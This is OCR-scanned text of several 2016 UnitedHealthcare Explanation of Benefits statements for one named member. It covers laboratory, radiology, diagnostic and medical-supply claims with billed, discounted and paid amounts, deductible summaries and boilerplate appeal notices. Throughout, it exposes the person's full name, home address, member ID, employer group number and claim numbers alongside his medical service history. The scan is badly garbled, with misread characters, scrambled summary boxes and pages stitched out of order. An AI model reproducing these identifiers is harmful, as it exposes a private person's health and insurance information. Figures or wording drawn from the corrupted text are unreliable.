Provider"* Date(s) of Type of Service Notes* Amount Plan VourPlan , Amount Yu1.. Service Billed (-) Discounts (-) Paid .1(=) Deductible ( .. ) Copay (+) Coinsurance (+) !\ion Covered (=) Owe 06/14/2016 LABORATORY SERVICES D1 $125.00 $108.03 $16.97 06/14/2016 LABORATORY SERVICES D1 $25.00 $23.45 $1 .55 $0.00 $0.00 $0.00 $0.00 06/14/2016 LABORATORY SERVICES D1 $85.00 $76.36 $8.64 $0.00 $0.00 $0.00 $0.00 Claim Total: $235.00 $207.84 $27.16 $0.00 $0.00 $0.00 $0.00 $0.00 **This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment. Claim Detail for JEFFREY DAMUKAITIS Provider: R HERRSCHER Claim Number: 601807498601 Patient Account Number: 000100061443 Your Itemized Res onsibilit to Provider"* I Date(s) of Type of Service Notes* Amount Plan Your Plan Amount You Service Billed (-) Discounts (-) I Paid 1(=) Dedt..ctible (+) Copay (+) Coinsurance (t) Non Covered (=) Owe I 06/17/2016 OFFICE VISITS D1 $125.00 $51.25 $73.75 Claim Total: $125.00 $51.25 $73.75 **This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment. STD-EOB Use this EOB statement as a reference or retain as needed Page 2 of 11 United HealthCare Services, Inc. GREENSBORO SERVICE CENTER PO BOX 740809 ATLANTA, GA 30374-0802 OPS$$$PKG JEFFREY DAMUKAITIS 2201 WILLOW CREEK DR LITTLE ELM TX 75068-4917 111I.11111,1,1,1uI•I1•I11111111111II h1111,1 I,1111,,,,111 I•,,,1, S VH, 12902'J '063089-M0-1616Hl0311-AFUS 21S'ICP I UnitedHealthcare ll)J AlhtedHealth ~Company Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. July 05, 2016 Member/Patient lnfonnation Member/Patient: JEFFREY DAMUKAITIS Member ID: A838199653 Relationship: EE Group Name: RAYTHEON COMPANY Group #: 0201057 Explanation of Benefits st! tement This is not a bill. Do not pay. This is to notify you t~at we processed your claim. Claims Summ~ry Detailed claim information is located or the following page(s). :=t.. z..:;..-~~~-=:~~-;-.,!h : -, ~-~ -~ ..~~~~~~~~ ' 1 : ., ·. " · .. ' .. r : ' ';'. , ·, · ~ · :~ · STD-EOB Page 1 of 11 Use this EOB statement as a reference or retain as needed 000001017137595 S W0-01539-02"007858-M0-16032-80311 •AFUS 22SYMS UnitedHealthcare fJll ,...__~........,, United HealthCare Services;.. Inc. GREENSBORO SERVICE 1.,ENTER February 01, 2016 PO BOX 740809 ATLANTA.,. GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Account Summary Summary of Deductible and Out of Pocket Plan Year: 2015 JEFFREY Annual Amount (-)Applied to Date (=)Remaining Balance FAMILY Annual Amount (-)Applied to Date (=)Remaining Balance Relationship: EE _INNEJ'YORK: "' l '!" ~~=:• Deductible $1,400.00 $700.00 $700.00 Deductible $700.00 $700.00 Met Out of Pocket $10,000.00 $6,265.59 $3,734.41 Out of Pocket $5,000.00 $4,902.65 $97.35 ;outQF;.NE,:WORK - " ..­. OUT OF NETWORK ! . ;; ~ ... . Deductible $2,800.00 $660.01 $2,139.99 Deductible $1,400.00 $413.00 $987.00 Out of Pocket $15,000.00 $660.01 $14,339.99 Out of Pocket $7,500.00 $660.01 $6,839.99 Definitions of Key Terms Applied to Date: The total amount of money applied to your deductible or out of pocket as of this EOB statement. Deductible: The deductible is the fixed dollar amount that you pay each year toward eligible health care services before your plan benerrts are payable. Once the deductible has been met, the co-payment and/or coinsurance period of your plan may begin. Please refer to your plan documents for specific information regarding what seivices apply to the deductible. Plan Year: The dates your plan benefit maximums are applicable. Coinsurance: The money you pay for health services after you have satisfied the deductible. Out of Pocket This is the amount you pay before your plan benefit starts paying 100% for eligible health care services. Please refer to your plan documents for more information. STD-EOB Use this EOB statement as a reference or retain as needed Page 4 of 4 SW0.01539'02"007857-M0-16032~11-AFUS 22SYMS United HealthCare Services;... Inc. GREENSBORO SERVICE 1.,ENTER February 01, 2016 PO BOX 740809 ATLANTA,a, GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. 333 Guadalupe P.O. Box 149104 Austin, TX 78714 Toll-free telephone: 1-800-252-3439 Web site: www.texashealthoptions.com E-mail: [email protected] lf we continue to deny the payment, coverage, or service requested or you do not receive a timely decision, you may be able to request an external review of your claim by an independent third party, who will review the denial and issue a final decision. Insurance fraud adds millions to the cost of health care. If services are listed which you did not receive or service you were told would be free, call 1-800-638-8884. Meet Your Needs Online At almost anytime day or night, you can review claims, check eligibility, locate a network physician, request an ID card, refill prescriptions if eligible, obtain more information on EOB content and more! For immediate, secure self-service visit www.myuhc.com. Myuhc Registration --You can register and begin using myuhc in the same session. Navigate to www.myuhc.com to register. The info11Tiation required for registration is on your insurance ID card (first name, last name, member ID, group number and-date-of birth). -_ _ _ _ ___ Maintaining the privacy and security of individuals' personal information is very important to us at UnitedHealthcare. To protect your privacy, we implemented strict ­confidentiality practices. These practices include the ability to use a unique individual identifier. You may see the unique individual identifier on UnitedHealthcare correspondence, induding medical ID cards (if applicable), letters, explanation of benefits (EOBs), and provider remittance advices (PRAs). If you have any questions about the unique individual identifier or its use, please contact your customer care professional at the number shown at the top of this Statement. Please call the number included in this document or on the back of your ID card if you need diagnosis and/or treatment code information regarding the services referenced in this communication. ST0-EOB Page 3 of 4 Use this EOB statement as a reference or retain as needed SWQ.(]1539'01"007856-M0-10032~11-AfUS 22SYMS UnitedHealthcare 1lllA-lh4'~ United HealthCare Services;. Inc. GREENSBORO SERVICE \JENTER February 01, 2016 PO BOX 740809 ATLANTA.i. GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: LABORATORY Claim Number: 579453933201 Patient Account Number: 10200094501 Date(s) of Type of Service Notes* Amount Plan (-)IYour Plan Service Billed (-) Discounts Paid 11/30/2015 LABORATORY D1 $506.00 $10.16 $446.26 SERVICES Claim Total: $506.00 $10.16 $446.26 **This total does not reflect any payments / copays you made at the time of service. Please wait for a provider bill before making a payment. Notes* D1 -THE DISCOUNT SHOI/IIN IS YOUR SAVINGS. YOUR NETWORK PHYSICIAN OR HEALTH CARE PROVIDER HAS AGREED TO THE PLAN DISCOUNT. THE AMOUNT YOU OWE MAY INCLUDE VVHATYOU NEED TO PAY IFYOU HAVE REACHED A BENEFIT LIMIT ON COVERED HEALTH SERVICES. IFYOU NEED MORE INFORMATION ABOUT YOUR BENEFITS, PLEASE GO TO YOUR MEMBER WEBSITE OR PLAN DOCUMENTS. A review of this benefit determination may be requested by submitting your appeal to us in writing at the following address: UnitedHealthcare Appeals, P.O. Box 30432, Salt Lake City, UT 84130-0432. The request for your review must be made within 180 days from the date you receive this statement. If you request a review of your claim denial, we will complete our review no later than 30 days after we receive your request for review. If your plan is governed by ERISA, you may have the right to file a civil action under ERISA if all required reviews of your claim have been completed. You or your authorized representative, such as a family member or physician, may appeal the decision by submitting comments, documents or other relevant information to the appeal address referenced above. · You may request copies (free of charge) of information relevant to your claim by contacting us at the above address. Availability of Consumer Assistance/Ombudsman Services: There may be other resources available to help you understand the appeals process. If your plan is governed by ERISA, you can contact the Employee Benefits security Administration at 1-866-444-EBSA (3272). If your plan is not governed by ERISA, you can contact the Department of Health and Human Services Health Insurance Assistance Team at 1-888-393-2789. Your state consumer assistance program may also be able to assist you at: Texas Department of Insurance Consumer Protection (111-1 A) STD-EOB Use this EOB statement as a reference or retain as needed Page 2 of 4 000000892999-496 United HealthCare Services,1. Inc. GREENSBORO SERVICE 1.;ENTER PO BOX 740809 ATLANTA, GA 30374-0802 I S wa.01539•01 '007855-M0.16032.00311 -AFUS 21SYMS 1 UnitedHealthcarE5Ill) AUnitlldHaa!lh Cirot.p~y Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. Februal)' 01, 2016 032MEOBSW2002005-00587-01 JEFFREY DAMUKAITIS Member/Patient lnfonnation 2201 WILLOW CREEK DR Member/Patient: JEFFREY DAMUKAITIS LITTLE ELM TX 75068-4917 Member ID: A838199653 Relationship: EE Group Name: RAYTHEON COMPANY Group#: 0201057 Explanation of Benefits Statement This is not a bill. Do not pay. This is to notify you that we processed your claim. Claims SummJry Detailed claim information is located oh the following page(s) . STD-EOB Page 1 of 4 Use this EOB statement as a referenc~ or retain as needed 000000892999498 SWG-30788'02"138-468-M0-16012-00311-AFUS 22SYCI' United HealthCare Services;.. Inc. GREENSBORO SERVICE 1.,ENTER January 12, 2016 PO BOX 740809 ATLANTA.., GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit infonnation. Account Summary Summary of Deductible and Out of Pocket Plan Year: 2015 Annual (-)Applied to (=)Remaining Annual (-)Applied to (=)Remaining JEFFREY FAMILY Amount Date Balance Amount Date Balance Relationship: EE IN<NETWORK"' IN.~ETWORK • Deductible $1.~ .oo $700.00 $700.00 Deductible $700.00 $700.0Q Met Out of Pocket $10,000.00 $6,230.04 $3,769.96 Out of Pocket $5,000.00 $4.867.10 $132.90 -.c QUJ:Of NETWORK OUT OF NElWO~ Deductible $2,800.00 $496.01 $2,303.99 -Deductible $1,400.00 $496.01 $903.99 Out of Pocket $15,000.00 $496.01 $14,503.99 Out of Pocket $7,500.00 $496,01 $7,003.99 Definitions of Key Terms Applied to Date: The total amount of money applied to your deductible or out of pocket as of this EOB statement. Out of Pocket This is the amount you pay before your plan benefit starts paying 100% for eligible health care services. Please refer to your plan documents for more information. Deductible: The deductible is the fD<ed dollar amount that you pay each year toward eligible health care services before your plan benefits are payable. Once the deductible has been met, the co-payment and/or coinsurance period of your plan may begin. Please refer to your plan documents for specific information regarding what services apply to the deductible. Plan Year: The dates your plan benefit maximums are applicable. STD-EOB Use this EOB statement as a reference or retain as needed Page 4 of 4 S WG-30786•02"138467-MO-16012-60311-AfUS 22SYCP UnitedHealthcare tmA-OI>()~ United HealthCare Services ..... Inc. GREENSBORO SERVICE 1..,ENTER January 12, 2016 PO BOX 740809 ATLANTA.,. GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Availability of Consumer Assistance/Ombudsman Services: There may be other resources available to help you understand the appeals process. If your plan is governed by ERISA, you can contact the Employee Benefits Security Administration at 1-866-444-EBSA (3272). If your plan is not governed by ERISA, you can contact the Department of Health and Human Services Health Insurance Assistance Team at 1-888-393-2789. Your state consumer assistance program may also be able to assist you at: Texas Department of Insurance Consumer Protection (111-1A) 333 Guadalupe P.O. Bo:x 149104 Austin, TX 78714 Toll-free telephone: 1-800-252-3439 Web site: www.te:xashealthoptions.com E-mail: [email protected] If we continue to deny the payment, coverage, or service reque:,ted or you do not receive a timely decision, you may be able to request an external review of your claim by an independent third party, who will review the denial and issue a final decision. Insurance fraud adds millions to the cost of health care. If services are listed which you did not receive or service you were told would be free, call 1-800-638-8884. Meet-Your-Needs_Online At almost anytime day or night, you can review claims, check eligibility, locate anetwork physic1an,request an-ID card. refill prescriptions if eligible, obtain more information on EOB content and more! For immediate, secure self-service visit www.myuhc.com. -- Myuhc Registration You can register and begin using myuhc in the same session. Navigate to www.myuhc.com to register. The information required for registration is on your insurance ID card (first name, last name, member ID, group number and date of birth). Maintaining the privacy and security of individuals' personal information is very important to us at UnitedHealthcare. To protect your privacy, we implemented strict confidentiality practices. These practices include the ability to use a unique individual identifier. You may see the unique individual identifier on UnitedHealthcare correspondence, including medical ID cards (if applicable), letters, explanation of benefits (EOBs), and provider remittance advices (PRAs). If you have any questions about the unique individual identifier or its use, please contact your customer care professional at the number shown at the top of this Statement. Please call the number included in this document or on the back of your ID card if you need diagnosis and/or treatment code information regarding the services referenced in this communication. STD-EOB Page 3 of 4 Use this EOB statement as a reference or retain as needed S WG-30786'01•1384116-M0-10012-60311-AFUS 22SYCP UnitedHealthcare(!IIA-~eo.,.,.,.. United HealthCare Services;. Inc. GREENSBORO SERVICE vENTER January 12, 2016 PO BOX 740809 ATLANTA.,, GA 30374-0802 Phone: 1-o00-638-8884 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit infomiation. Claim Detail for JEFFREY DAMUKAITIS Provider: FOREST PARK MEDICAL Claim Number: 503594418701 Patient Account Number: GAA42708 Date(s) of Type of Service Notes• Amount Plan Your Plan i Service Billed (·) Discounts (-) Paid '(=) 04/15/2015 RADIOLOGY QG $4,030.13 $2,701.13 $1,329.00 SERVICES 04/15/2015 OP MISC. QG $510.50 $510.50 $0.00 SERVICES 04/15/2015 ADJUSTMENT OH $0.00 -$1,196.10 Claim Total: D2 $4,540.63 $3,211.63 $132.90 Notes* Amount You Ded1.,ctib,e (+) Copay (+) Coinsurance (+) Non Covered(=) Owe $0.00 $0.00 $0 .00 0.00 $0.00 $0.00 $0 .00 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 ·. I I I -This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment OH -WE HAVE RECEIVED MORE INFORMATION AND REPROCESSED THIS CLAIM. THIS IS THE AMOUNT THAT WAS ALREADY PAID. D2 · THE DISCOUNT SHOWN IS YOUR SAVINGS. YOUR NETWORK FACILITY OR HEALTH CARE PROVIDER HAS AGREED TO THE PLAN DISCOUNT. THE AMOUNT YOU OWE MAY INCLUDE WHAT YOU NEED TO PAY IF YOU HAVE REACHED A BENEFIT LIMIT ON COVERED HEALTH SERVICES. IF YOU NEED MORE INFORMATION ABOUT YOUR BENEFITS, PLEASE GO TO YOUR MEMBER \M:BSITE OR PLAN DOCUMENTS. QG -WE HAVE RECEIVED MORE INFORMATION AND REPROCESSED THIS CLAIM. A review of this benefit detemiination may be requested by submitting your appeal to us in writing at the following address: UnitedHealthcare Appeals, P.O. Box 30432, Salt Lake City, UT 84130-0432. The request for your review must be made within 180 days from the date you receive this statement. If you request a review of your claim denial, we will complete our review no later than 30 days after we receive your request for review. If your plan is governed by ERISA, you may have the right to file a civil action under ERISA if all required reviews of your claim have been completed. You or your authorized representative, such as a family member or physician, may appeal the decision by submitting comments, documents or other relevant infomiation to the appeal address referenced above. You may request copies (free of charge) of infom,ation relevant to your claim by contacting us at the above address. STD-EOB Use this EOB statement as a reference or retain as needed Page 2 of 4 000000877608605 S WG-30786"01'138465-M0-16012-60311-AFUS 21SYCP United HealthCare Services, Inc. GREENSBORO SERVICE CENTER PO BOX 740809 ATLANTA, GA 30374-0802 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. January 12, 2016 012MEOBSW1002007-275Sg..Q1 JEFFREY DAMUKAITIS , Member/Patient lnfonnation 2201 WILLOW CREEK DR Member/Patient: JEFFREY DAMUKAITIS LITTLE ELM TX 75068-4917 Member ID: A838199653 Relationship: EE Group Name: RAYTHEON COMPANY Group #: 0201057 Explanation of Benefits Statement This is not a bill. Do not pay. This is to notify you that we processed your claim. Claims Summa~ Detailed claim information is located on the following page(s). I - Dollar Amount Oescrlptlon"".., f -· ·..---· ~=-;. .--I ­ -••.• .. Amount Billed . · · · · I · · · • ~-•' ,. ' : ,; · · ' ~,;,.. ,.,. $4,540.83 This is the total amount that yourprovider billed for the services tfiat were provided to you. 1ei1··, " • --' . Plan Discounts -. , , . . . , • ' : · , ~ ,. $3,211.63 Your plan negotiates discoun~s willl providers to save you mone,y. This amount may.also incfude,;, ,,-,......1 !:,,-,, ,i ,., ~,-, .,;.. s~rvices ttiat ~~ are not resp?nsibfe ~o-pay. , Ji ,,;,+'•. ;·, • ._'.'-".'[ '!..'·': : ••· .. , ;' ~­ .-YourPlan Paid , . ,~ ·. j • · ,--i •• -.• . , • . ,·. ' $132.90 : This is the portion of the amount billed that was paid by your plan: _. :-:·• ·· · ~ "· "· t·:: ;:-··:···· ·-· .. ·'' ., -, . . Total amount you owe tlieprovider(s) --( . =-= -"' · .: · ' · __.. ·« ~-" ·-"' . ~ -The portion of the Amount Billeo you.owe the provide.r(sr This amount does not reflect any: . .-.. , · ­· ,, $0.0,0 · payme~t-you. m~y hav~ already-ma.de at the timelyou-received ca_re: This amount may in~ud~ ~ou_r ­· . · deductible, co-pay, co1nsuranc.e·and/or non·cov~fed ~arges':"" This amount does•not inclt.1de1aoy '"" -.-, · -:-payments made-to the subscribe!'".-If a paymentiwas made direcUy·to the0subscriber; you/the.:::. ! · ,·"'-.. ~---=-· -:.:.·-subscriber is resp~msible for•paying the physicia1,-tacility1or other heelth;c~re,profe~sio.na;I.~."';--,::..i.:~.. ---'!..:oWhen coordination ofJ>eneflts appDes,Jhis amount-Will include-payments made-to the,subscriber;.,._ . . -I ,. ,--. .. I STD-EOB Page 1 of 4 Use this EOB statement as a reference or retain as needed 000000877608605 S VL-08391"03'039287-M0,16201-60311-AFUS 22SYCP United HealthCare Services;.. Inc. GREENSBORO SERVICE 1,,;ENTER July 19, 2016 PO BOX 740809 ATLANTA.,_ GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Please call the number included in this document or on the back of your ID card if you need diagnosis and/or treatment code information regarding the services referenced in this communication. Account Summary Summary of Deductible and Out of Pocket Plan Year: 2016 Annual (-)Applied to (=)Remaining JEFFREY Amount Date Balance Relationship: EE 1N NETWORK . -· Ii 1 Deductible $700.00 $700.00 Mel Out of Pocket $5,000.00 $5,000.00 Mel OUT 'OF NETWORK 1 ,,,;: ,, .. t<:,; .. -r ' ~,:,; :~r .. i• ., -,!. "I Deductible $1,400.00 $577.00 $823.00 Out of Pocket $7,500.00 $0.00 $7,500.00 Definitions of Key Terms Applied to Date: The total amount of money applied to your deductible or out of pocket as of this EOB statement Out of Pocket This is the amount you pay before your plan benefit starts paying 100% for eligible health care services. Please refer to your plan documents for more information. Annual (-)Applied to (=)Remaining FAMILY Amount Date Balance 'IN NETWQR~ ~-k I Deductible $1,400.00 $700.00 $700.00 Out of Pocket $10,000.00 $5,000.00 $5,000.00 p U,T.OF NEm'ORK'. ·I Deductible $2,800.00 $0.00 $2,800.00 Out of Pocket $15,000.00 $0.00 $15,000.00 Deductible: The deductible is the fixed dollar amount that you pay each year toward eligible health care services before your plan benefits are payable. Once the deductible has been met, the co-payment and/or coinsurance period of your plan may begin. Please refer to your plan documents for specific information regarding what services apply to the deductible. Plan Year: The dates your plan benefit maximums are applicable. SlD-EOB S VL-08391 "02"039286-M0-16201-f0311-AFUS 22SYCP UnitedHealthcarel!ll AINll!l:!Hmlh~~ United HealthCare Services.,_ Inc. GREENSBORO SERVICE 1.,ENTER PO BOX 740809 July 19, 2016 ATLANTA, GA 30374-0802 Phone: 1-o00-638-8884 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. You may request copies (free of charge) of information relevant to your claim by contacting us at the above address. Availability of Consumer Assistance/Ombudsman Services: There may be other resources available to help you understand the appeals process. If your plan is governed by ERISA, you can contact the Employee Benefits Security Administration at 1-866-444-EBSA (3272). If your plan is not governed by ERISA, you can contact the Department of Health and Human Services Health Insurance Assistance Team at 1-888-393-2789. Your state consumer assistance program may also be able to assist you at: Texas Department of Insurance Consumer Protection (111-1A) 333 Guadalupe P.O. Box 149091 Austin, TX 78714 Toll-free telephone: 1-800-252-3439 Web site: www.texashealthoptions.com E-mail: [email protected] If we continue to deny the payment, coverage, or service requested or you do not receive a timely decision, you may be able to request an external review of your claim by an independent third party, who will review the denial and issue a final decision. Insurance fraud adds millions to the cost of health care. If services are listed which you did not receive or service you were told would be free, call 1-800-638-8884. Meet Your Needs Online At almost anytime day or night, you can review claims, check eligibility, locate a network physician, request an ID card, refill prescriptions if eligible, obtain more information on EOB content and more! For immediate, secure self-service visit www.myuhc.com. Myuhc Registration You can register and begin using myuhc in the same session. Navigate to www.myuhc.com to register. The information required for registration is on your insurance ID card (first name, last name, member ID, group number and date of birth). Maintaining the privacy and security of individuals' personal information is very important to us at United Healthcare. To protect your privacy, we implemented strict confidentiality practices. These practices include the ability to use a unique individual identifier. You may see the unique individual identifier on UnitedHealthcare correspondence, including medical ID cards (if applicable), letters, explanation of benefits (EOBs), and provider remittance advices (PRAs). If you have any questions about the unique individual identifier or its use, please contact your customer care professional at the number shown at the top of this Statement. STD-EOB Use this EOB statement as a reference or retain as needed Page 4 of 5 000001027618413 S Vl-08391'02'039285-MO-16201-60311-AFUS 22SYCP UnitedHealthcaref)JA-~~ United HealthCare Services;.. Inc. GREENSBORO SERVICE 1...,ENTER July 19, 2016 PO BOX 740809 ATLANTA;, GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: TACTILE SYSTEMS Claim Number: 603907787801 Patient Account Number: 172860525976 Your Itemized Res onsibilit to Provider.. Date(s) of Type of Service Notes* Amount Plan I Your.Pian ·1 Amount You Service Billed (-) Discounts Pai~ (=) Deductible (+) Copay (+) Coinsurance (+) Non Covered \=) Owe Hi _.. 06/29/2016 MEDICAL 01 $7,150.00 $1,787.50 5;362.50 SUPPLIES 06/29/2016 MEDICAL 01 $825.00 $206.25 $618.75 $0.00 $0.00 $0.00 $0.00 $0.0 SUPPLIES 06/29/2016 MEDICAL 01 $825.00 $206.25 $618.75 $0.00 $0.00 $0.00 $0.00 $0.0 . SUPPLIES Claim Total: $8,800.00 $2,200,00 $6,600.00 $0.00 $0.00 $0.00 $0.00 $0.00' ••This total does not reflect any payments / copays you made at the time of service. Please wait for a provider bill before making a payment. Notes* -01--;. -THE DISCOUNT SHOVIIN IS YOUR SAVINGS. YOUR NETWORK PHYSICIAN OR HEALTH CARE PROVIDER HAS AGREED TO THE PLAN DISCOUNT. THE AMOUNT YOU OWE MAY INCLUDE WHATYOU NEED TO PAY-IF YOU HAVE REACHED A BENEFIT LIMIT ON COVERED HEALTH SERVICES. IF YOU NEED MORE INFORMATION ABOUT YOUR BENEFITS, PLEASE GO TO YOUR MEMBER WEBSITE OR PLANDOCUMENTs.---­ IA -THE CLAIM FOR THIS SERVICE JS DENIED BECAUSE IT WAS BILLED BY A PHYSICIAN OR HEALTH CARE PROFESSIONAL. THE SERVICE IS INCLUDED IN THE FACILITY (HOSPITAL OR AMBULATORY SURGERY CENTER) PAYMENT. IF YOU USED A NETWORK PROVIDER, YOU DON'T OWE ANYTHING. IF YOU RECEIVE A BILL FROM AN OUT-OF-NETWORK PROVIDER FOR THESE SERVICES FOR ANY AMOUNT OVER YOUR CO-INSURANCE, COPAY OR DEDUCTIBLE, PLEASE CALL THE NUMBER ON YOUR HEALTH PLAN ID CARD. A review of this benefit determination may be requested by submitting your appeal to us in writing at the following address: UnitedHealthcare Appeals, P.O. Box 30432, Salt Lake City, UT 84130-0432. The request for your review must be made within 180 days from the date you receive this statement. lf you request a review of your claim denial, we will complete our review no later than 30 days afterwe receive your request for review. If your plan is governed by ERISA, you may have the right to file a civil action under ERISA if all required reviews of your claim have been completed. You or your authorized representative, such as a family member or physician, may appeal the decision by submitting comments, documents or other relevant information to the appeal address referenced above. STO-EOB Page 3 of 5 Use this EOB statement as a reference or retain as needed S W0-19589"01"0942:2.l>-M0-16069-60311-AFUS 42SYMS Unit.edHealthcare llll A-lio.4iemo-,, United HealthCare SelVices;. Inc. GREENSBORO SERVICE 1..,ENTER March 09, 2016 PO BOX 740809 ATLANTA.a, GA 3037 4-0802 Phone: 1-o00-638-8884 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: T NEWTON Claim Number: 584383491202 Patient Account Number: DAMJE000-75 Date(s) of Type of Service Notes* Amount Plan Your P,tan Service Billed (-) Discounts Hf Pa!d ~, 1 • 04/20/2015 MEDICAL IX, IK $17.50 $6.12 $0.00 SUPPLIES Claim Total: $17.50 $6.12 $0.00 Claim Detail for JEFFREY DAMUKAITIS Provider: T NEWTON Clalm Number: 584383491201 Date(s) of Type of Service Notes* Amount Plan Your Plan Amount You Service Billed (-) Discounts <->I ,, P'id -· I<=) Deductible (+) Copay (+) Co1nsu1d11c.;~ (+) Non Covered(=) Owe 04/2012015 DIAGNOSTIC IX $3,731.84 $1,306.14 $1 ,302.76 SERVICES 04/20/2015 DIAGNOSTIC IX $2,101.82 $442.64 $1,161 .43 SERVICES 04/20/2015 DIAGNOSTIC IX $2,220.00 $1,070.00 $805:oo SERVICES 04/20/2015 MEDICAL IX $126.00 $44.10 $57.33 SUPPLIES 04/20/2015 MEDICAL 09 $52.50 $0.00 $0.00 SUPPLIES Claim Total: $8,232.16 $2,862.88 $3,326.52 $0.00 $0.00 $497.75 $0.00 $0.00 $0,00 $0.00 $345.00 $0.00 $0.00 $24.57 $0.00 $0.00 $0.00 $0.00 $52.50 $52.50 $564.61 $0.00 $1,425.65 $497.7 $345.0 $24.5 $52.5 $2,042.76 **This total does not reflect any payments I copays you made at the time of service. Notes* Please wait for a provider bill before making a payment. STD-EOB 000000925599263 Use this EOB statement as a reference or retain as needed Page 2 of 5 S W0-19L '01'094225-M0-1606e-eo:311-AFUS 41SYMS I UnitedHealthcare United HealthCare Services,1, Inc. ' ALnllllHeallll Group Co~ GREENSBORO SERVICE 1.,ENTER PO BOX 740809 ATLANTA, GA 30374-0802 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. March 09, 2016 DPS$$$PKG Member/patient lnfonnation 2201 WILLOW CREEK DR JEFFREY DAMUKAITIS Member/Patient: JEFFREY DAMUKAITIS LITTLE ELM TX 75068-4917 Member ID: A838199653 Relationship: EE 1111 •11 • 11,1,1,'11II I1•I1 • 1I I I I 11111•h1111111• ;,. •11111111 I•11 111 Group Name: RAYTHEON COMPANY Group #: 0201057 Explanation of Benefits Statement This is not a bill. Do not pay. This is to notify you lthat we processed your claim. Claims Summary Detailed claim infonnation is located on the following page(s). ' 118 ·· . ;;--2:4· 9 66 AmThlso~ntthB1t t di · t' t-h, t ..1d. .! ·b.led i ·th.· · ' ·.. th t : ' vld,_ d t' -.. ' ··· F · ' $8, • _ ,, , e o a ~mo!,Ifl a )'Qur P~v~ ~r, 1 . for e s,?MQes .a weryi:,~ -~ o Y()9i :· ~ 1 . Your Plan Paid . .. . . ~ ,.,. $3,326.52 · This is the portion of the amount billed _that was paid by your·plan. ' ~-. -~ -!fotal~amount you oweAhe provtder(sk---· •· I ...::·, .. ··---'""·-" . ;.: .-,":':...!.--,, -.--·:-·-= The portioo of the .A:moynt'BUled~you o¥te~the pf'9vfd,er(s)..;:.1ihis amo,unt does.:.not.reflect·.any-...,---.,..,.-.,_ payment.you may have.;elready 1J1ad.e.at,the""timf YQU. received care. ·T!Jls amo.um niay ln~u,de.~y:our_,, • dedu~tible, co-pay, coinsurance and/o~_non.cov,r.ed charges. ,This Qfl)()Unt·does not inctude any ­_ __ . .. paym~-~ made to the subscriber". If a pa~.e~t was m¥t4J! _diracUi.Jo the su~~~er, ~ult~ . "'. . 'su;!J:Saibe~ is responsf~~ for. payingJh_e p~ysic:i~r• faq_lity ~ other ~~altl:l,~are:~ression~.I:: : : . '. _ • ~~,~ ~ .om.,natior1or·~~efits_aP,pli~;i~i,~_a.rry.our:it w, )~~de P.1il~~-!J.~ m~d~}~ ,t~~ ~~-~~~er·~·.· STO-EOB Page 1 of 5 Use this EOB statement as a reference or retain as needed 000000925599263 S WD-03722-02-017890-M0-16088-60311-AFUS 22SYt.lS UnitedHealthcaredi A-0....,~ United HealthCare Services,1,.Inc. GREENSBORO SERVICE vENTER PO BOX 740809 March 29, 2016 ATLANTA.,, GA 30374-0802 Phone: 1-o00-638-8884 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit infonnation. Account Summary Summary of Deductible and Out of Pocket Plan Year: 2016 JEFFREY Annual Amount (-)Applied to Date (=)Remaining Balance Relationship: EE l~:NETWORK Deductible $700.00 $700.00 Met Out of Pocket $5,000.00 $3,433.17 $1,566.83 OUT 0F N_ETWORK_ .=. "="""­ Deductible $1,400.00 $577.00 $823.00 Out of Pocket $7,500.00 $0.00 $7,500.00 Definitions of Key Terms Applied to Date: The total amount of money applied to your deductible or out of pocket as of this EOB statement. Deductible: The deductible is the frxed dollar amount that you pay each year toward eligible health care services before your plan benefits are payable. Once the deductible has been met, the co-payment and/or coinsurance period of your plan may begin. Please refer to your plan documents for specific information regarding what services apply to the deductible. Plan Year: The dates your plan benefit maximums are applicable. Annual (-)Applied to (=)Remaining FAMILY Amount Date Balance IN NSWORK··. ·; 4 ' ',? . ­ Deductible $1,400.00 $700.00 $700.00 Out of Pocket 10UFOF_NE1)VORK Ji $10,000.00 . ·j --­ $3,433.17 ~ ~ $6,566.83 Deductible $2,800.00 $0.00 $2,800.00 Out of Pocket $15,000.00 $0.00 $15,000.00 Coinsurance: The money you pay for health services after you have satisfied the deductible. Out of Pocket This is the amount you pay before your plan benefit starts paying 100% for eligible health care services. Please refer to your plan documents for more information. STD-EOB S WD-037221l2'017889•M0•1EI089·60311 •AfUS 22SYMS .ni UnitedHealthcare vA-ll<loea,...., United HealthCare Services;..lnc. GREENSBORO SERVICE '-'ENTER March 29, 2016 PO BOX 740809 ATLANTA,. GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. P.O. Box 149104 Austin, TX 78714 Toll-free telephone: 1-800-252-3439 Web site: www.texashealthoptions.com E-mail: [email protected] If we continue to deny the payment, coverage, or service requested or you do not receive a timely decision, you may be able to request an external review of your claim by an independent third party, who will review the denial and issue a final decision. Insurance fraud adds millions to the cost of health care. If services are listed which you did not receive or service you were told would be free, call 1-800-638-8884. Meet Your Needs Online At almost anytime day or night, you can review claims, check eligibility, locate a network physician, request an ID card, refill prescriptions if eligible, obtain more information on 